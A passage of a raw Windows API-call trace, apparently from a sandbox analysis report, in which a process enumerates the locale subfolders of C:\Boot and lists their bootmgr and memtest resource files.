dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.091] FindNextFileW (in: hFindFile=0x751190, lpFindFileData=0x2d0f584 | out: lpFindFileData=0x2d0f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0192.091] FindNextFileW (in: hFindFile=0x751190, lpFindFileData=0x2d0f584 | out: lpFindFileData=0x2d0f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0 [0192.091] FindClose (in: hFindFile=0x751190 | out: hFindFile=0x751190) returned 1 [0192.091] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0192.091] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0192.091] FindClose (in: hFindFile=0x751450 | out: hFindFile=0x751450) returned 1 [0192.091] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.091] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0192.092] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.092] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7513d0 [0192.092] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.092] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.092] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0192.092] FindClose (in: hFindFile=0x7513d0 | out: hFindFile=0x7513d0) returned 1 [0192.092] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.092] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0192.092] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.092] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750e10 [0192.093] FindNextFileW (in: hFindFile=0x750e10, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.093] FindNextFileW (in: hFindFile=0x750e10, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.093] FindNextFileW (in: hFindFile=0x750e10, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.093] FindNextFileW (in: hFindFile=0x750e10, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.093] FindClose (in: hFindFile=0x750e10 | out: hFindFile=0x750e10) returned 1 [0192.093] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.093] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0192.093] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.094] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751010 [0192.094] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.094] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.094] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0192.094] FindClose (in: hFindFile=0x751010 | out: hFindFile=0x751010) returned 1 [0192.094] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.094] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0192.094] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.094] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751550 [0192.095] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.095] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.095] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0192.095] FindClose (in: hFindFile=0x751550 | out: hFindFile=0x751550) returned 1 [0192.095] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.095] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0192.095] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.095] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750e90 [0192.095] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.095] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.096] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.096] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.096] FindClose (in: hFindFile=0x750e90 | out: hFindFile=0x750e90) returned 1 [0192.096] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.096] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0192.096] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.097] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751510 [0192.097] FindNextFileW (in: hFindFile=0x751510, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.097] FindNextFileW (in: hFindFile=0x751510, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.097] FindNextFileW (in: hFindFile=0x751510, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0192.097] FindClose (in: hFindFile=0x751510 | out: hFindFile=0x751510) returned 1 [0192.097] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.097] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0192.097] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.097] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7514d0 [0192.098] FindNextFileW (in: hFindFile=0x7514d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.098] FindNextFileW (in: hFindFile=0x7514d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.098] FindNextFileW (in: hFindFile=0x7514d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.098] FindNextFileW (in: hFindFile=0x7514d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.098] FindClose (in: hFindFile=0x7514d0 | out: hFindFile=0x7514d0) returned 1 [0192.098] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.098] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0192.098] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.098] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x2d0f800 | out: 